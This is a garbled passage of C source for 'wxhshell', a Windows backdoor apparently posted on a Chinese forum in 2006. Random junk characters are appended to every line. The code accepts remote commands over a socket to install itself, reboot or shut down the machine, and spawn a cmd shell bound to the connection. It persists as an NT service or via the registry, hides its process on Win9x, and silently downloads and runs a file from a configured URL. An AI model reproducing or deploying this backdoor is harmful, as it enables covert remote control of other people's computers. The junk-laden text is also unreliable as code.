    break; 'X{J~fEI!  
  } ;JAb8dyS2  
  // 安装 O0cKmh6=  
  case 'i': { t) h{ w"v  
    if(Install()) )Ept yH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cO^}A(Ma(  
    else cBz_L"5vr[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fjwUh>[ }  
    break; l d@B  
    } Z%1{B*(e  
  // 卸载 -/z#?J\  
  case 'r': { ?PSVVU q,Z  
    if(Uninstall()) HMrl!;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9m:G8j'  
    else _q /UDf1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C#Y_La  
    break; @ - _lw  
    } =V(|3?N  
  // 显示 wxhshell 所在路径 B9(e"cMm  
  case 'p': { \]gUX-  
    char svExeFile[MAX_PATH]; cc_v4d{x  
    strcpy(svExeFile,"\n\r"); mw,\try  
      strcat(svExeFile,ExeFile); E,g5[s@  
        send(wsh,svExeFile,strlen(svExeFile),0); lhRo+X#G  
    break; q;0QI{:5v  
    } ]f< H?  
  // 重启 %tC3@S  
  case 'b': { ;;; {<GEQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -D-]tL6w  
    if(Boot(REBOOT)) UxS@]YC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lIDGL05f'  
    else { Pe<}kS m4  
    closesocket(wsh); g (:%E  
    ExitThread(0); bL9EX$P  
    } ?!d\c(5Gt  
    break; NP_b~e6O=  
    } $b=4_UroS  
  // 关机 s`E^1jC  
  case 'd': { u^NZsuak  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dOfEEqPI  
    if(Boot(SHUTDOWN)) &Y/Myh[P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fo86WP}  
    else { nL]-]n;  
    closesocket(wsh); <~}# Q,9  
    ExitThread(0); nm.~~h+8M  
    } h..D1(M  
    break; @ %}4R`S0  
    } 1deNrmp%  
  // 获取shell ?}D|]i34  
  case 's': { 1y)|m63&  
    CmdShell(wsh); >nA6w$  
    closesocket(wsh); @+(TM5Ub  
    ExitThread(0); Ebk_(Py\  
    break; 5l ioL)  
  } P.Uz[_&l6  
  // 退出 g k.c"$2  
  case 'x': { \Rff3$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0>KW94  
    CloseIt(wsh); asQXl#4r  
    break; @ a?^2X^  
    } ; M%n=+[O  
  // 离开 tF@hH}{;  
  case 'q': { 6x$1En  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }q~M$  
    closesocket(wsh); vn0}l6n3s  
    WSACleanup(); eGi[LJ)np  
    exit(1); gBZ1Weu-'  
    break; |&hu3-(  
        } *'q6#\#.  
  } PIxd'B*MF  
  } &!E+l<.RF  
E)h&<{%  
  // 提示信息 }VUrn2@-4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Ne`F(c  
} 4?3*%_bDJ,  
  } 2G9sKg,kL  
? h*Ngbj>  
  return; LQs>[3rK  
} hQT  p&  
hb_J. Q  
// shell模块句柄 ?k7z 5ow  
int CmdShell(SOCKET sock) ?9)-?tZ^Q  
{ 2V*<HlqOif  
STARTUPINFO si; |z`kFil%  
ZeroMemory(&si,sizeof(si)); 7@@,4_q E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,(  ?q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I2R" Y<  
PROCESS_INFORMATION ProcessInfo; G?t<4MT v  
char cmdline[]="cmd"; yK #9)W-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jhN]1t /\X  
  return 0; :@H&v%h(u  
} ",hPy[k  
\k69 S/O  
// 自身启动模式 b?~%u+'3  
int StartFromService(void) NLz[ F`I  
{ E>}(r%B  
typedef struct +oT/v3,  
{ `qnNEJL,  
  DWORD ExitStatus; 4%(\y"T  
  DWORD PebBaseAddress; [A.ix}3mm  
  DWORD AffinityMask; scsN2#D7U/  
  DWORD BasePriority; I!L`W _  
  ULONG UniqueProcessId; l; ._ ?H  
  ULONG InheritedFromUniqueProcessId; T|{1,wP  
}   PROCESS_BASIC_INFORMATION; A=z+@b6  
Tf bB1  
PROCNTQSIP NtQueryInformationProcess; "Y> #=>8  
P&s-U6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yi*2^??` 1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nX|f?5 O  
U^n71m>]%T  
  HANDLE             hProcess; XIAHUT5~J  
  PROCESS_BASIC_INFORMATION pbi;  )Uk!;b  
VT;Vm3\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d*e0/#s  
  if(NULL == hInst ) return 0; d\_$Nb*  
z~S(OM@olJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ig sK7wn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^bZ'z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mYy{G s7  
LL}|# %4d  
  if (!NtQueryInformationProcess) return 0; r}1.=a  
j<HBzqP%6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oVK3=m@ {  
  if(!hProcess) return 0; S{qc1qj  
1j9R^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; - DO  
R@+%~"Z  
  CloseHandle(hProcess); X &z|im'd  
@]rl2Qqe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o<Esh;;*nm  
if(hProcess==NULL) return 0; -Dx_:k|k  
\x,q(npHi  
HMODULE hMod; ;!ICLkc$  
char procName[255]; i1OF @~?  
unsigned long cbNeeded; R0l5"l*@+  
'nrX RDb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gB;5&;T:  
nkp,  
  CloseHandle(hProcess); 5 +Ei! E89  
jc4#k+sb  
if(strstr(procName,"services")) return 1; // 以服务启动  MYD`P2F  
CTG:C5OK  
  return 0; // 注册表启动 ~`uEZ  
} R-~ZvVw7L  
(SEE(G35  
// 主模块 bK\Mn95]  
int StartWxhshell(LPSTR lpCmdLine) |[RoR  
{ YPV@/n[N  
  SOCKET wsl; /Vg=+FEO  
BOOL val=TRUE; eNwF<0}  
  int port=0; ~6)A/]6  
  struct sockaddr_in door; Mx3MNX /  
7O=N78M  
  if(wscfg.ws_autoins) Install(); bp>-{Nv  
;yvx-  
port=atoi(lpCmdLine); !R;NV|.eI6  
O7M8!3Eqm  
if(port<=0) port=wscfg.ws_port; ``zgw\f[%  
#GJ{@C3H8Q  
  WSADATA data; z^ai *   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b6mSPH@  
J|uxn<E<>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5a`f % h%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hnk,U:7}  
  door.sin_family = AF_INET; LXZ0up-B-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :"vW;$1 }  
  door.sin_port = htons(port); Cggu#//Z}Q  
Ap :mc:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WS!:w'rzr  
closesocket(wsl); MsaD@JY.y  
return 1; R;G"LT  
} 7z_EX8^  
JJHfg)  
  if(listen(wsl,2) == INVALID_SOCKET) { _uYidtxo=  
closesocket(wsl); \4/zvlo]h  
return 1; zeHf(N  
} u n)YK  
  Wxhshell(wsl); 3>~W_c9@  
  WSACleanup(); Y#/mE!&  
2ncD,@ij  
return 0; t-;zgW5mwF  
+;T `uOF}  
} sbju3nvk  
D?Mj<||  
// 以NT服务方式启动 TZl^M h[a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V1P]mUs{1  
{ Sj[iKCEKtv  
DWORD   status = 0; =T?:b8yV  
  DWORD   specificError = 0xfffffff; tFi'RRZ  
v_ U$jjO1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >-%}'iz+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @L9C_a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >!U oS  
  serviceStatus.dwWin32ExitCode     = 0; `GBa3  
  serviceStatus.dwServiceSpecificExitCode = 0; '4"9f]:  
  serviceStatus.dwCheckPoint       = 0; `X:o]t@  
  serviceStatus.dwWaitHint       = 0; } xy>uT  
M2$.Y om[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \~(scz$  
  if (hServiceStatusHandle==0) return; mSg{0_:  
}Ai_peO0a  
status = GetLastError(); T"b'T>Y  
  if (status!=NO_ERROR) MMQ^&!H  
{ BidTrO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y^*o%2/  
    serviceStatus.dwCheckPoint       = 0; t1Zcr#b>  
    serviceStatus.dwWaitHint       = 0; ~YH'&L.O  
    serviceStatus.dwWin32ExitCode     = status; 3w>S?"W#  
    serviceStatus.dwServiceSpecificExitCode = specificError; kL7n`o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Ns]l<  
    return; 6dN W2_  
  } 6H#4iMeh  
C'wRF90  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sb/`a~q ^  
  serviceStatus.dwCheckPoint       = 0; xa=Lu?t%<  
  serviceStatus.dwWaitHint       = 0; a7? )x])e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x @a3STKT  
} js$L<^7  
_,ki/7{  
// 处理NT服务事件,比如:启动、停止 P,eP>55'K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4eRV?tE9  
{ 2m*g,J?ql  
switch(fdwControl) (\I9eBm  
{ &tJ!cTA.-  
case SERVICE_CONTROL_STOP: ;!C~_{/t  
  serviceStatus.dwWin32ExitCode = 0; *3Vic  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @mJ# ~@*(  
  serviceStatus.dwCheckPoint   = 0; e2dg{n$6"  
  serviceStatus.dwWaitHint     = 0; f i_'Ny>#  
  { 38 -vt,|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eXYf"hU,  
  } TdCC,/c 3  
  return; B1U<m=Y  
case SERVICE_CONTROL_PAUSE: sU=7)*$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +wHrS}I#g  
  break; HkL:3 E.  
case SERVICE_CONTROL_CONTINUE: Fcz}Gs4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'bb *$T0=  
  break; Xa xM$  
case SERVICE_CONTROL_INTERROGATE: 4pJ #fkc^  
  break; Bn<1zg5  
}; "8-;Dq'+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9K6G%  
} @~+W  
QyEGK  
// 标准应用程序主函数 %0gcNk"=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }t FRl  
{ M}S1Zz%Ii1  
om1@;u8u  
// 获取操作系统版本 %FhUjHm  
OsIsNt=GetOsVer(); nn?h;KzB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y!kU0  
%`# HGji)  
  // 从命令行安装 ]Uu:t  
  if(strpbrk(lpCmdLine,"iI")) Install(); '| 6ZPv&N  
<Rb[0E$  
  // 下载执行文件 &<>NP?j}  
if(wscfg.ws_downexe) { XZ&cTjNB&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^aONuG9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZYexW=@  
} GL^84[f-T  
#1z/rUh`Cr  
if(!OsIsNt) {  T1\@4x  
// 如果时win9x,隐藏进程并且设置为注册表启动 O!U8"Yr$  
HideProc(); `:Bm@eN  
StartWxhshell(lpCmdLine); 2gM/".|{  
} b3M`vJ+{  
else ?nCo?A  
  if(StartFromService()) w2(pgWed  
  // 以服务方式启动 ^Mmsja5K  
  StartServiceCtrlDispatcher(DispatchTable); a`*Dq"9pV  
else Aw) I:d7F  
  // 普通方式启动 ?heg_ ~P  
  StartWxhshell(lpCmdLine); !XqU'xxC  
buu /Nz$  
return 0; ,vh $G 7D  
}
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只看该作者 1 发表于: 2006-10-10
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